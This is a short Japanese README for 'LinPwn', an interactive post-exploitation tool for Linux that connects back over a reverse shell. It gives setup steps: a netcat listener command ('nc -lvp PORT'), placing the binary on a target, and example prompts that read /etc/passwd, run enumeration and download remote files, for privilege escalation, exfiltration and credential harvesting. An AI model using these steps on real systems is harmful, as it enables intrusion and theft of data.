
リバースシェル経由でLinuxの権限昇格、列挙、ファイルの不正持ち出し、認証情報の収集を行う対話型のポストエクスプロイテーションツール。
LinPwnは、ポストエクスプロイテーションの列挙と権限昇格を支援するために作成された対話型ツールです。
Connectionクラスで、接続先のIPとポートを設定します。
LinPwnバイナリをターゲットマシンに配置します。
自分のマシンで nc -lvp PORT を実行し、その後ターゲットマシンでLinPwnを実行して接続を確立します。
(LinPwn: Shell) > id(LinPwn: ReadFile)> /etc/passwd(LinPwn) > enumerate(LinPwn: Download) > https://exampleurl.com/file_to_downloadbuild.sh というファイルを同梱しています。これはオプションです。bash build.sh を実行すると、ビルドオプションを確認できます(必要に応じて使用してください)。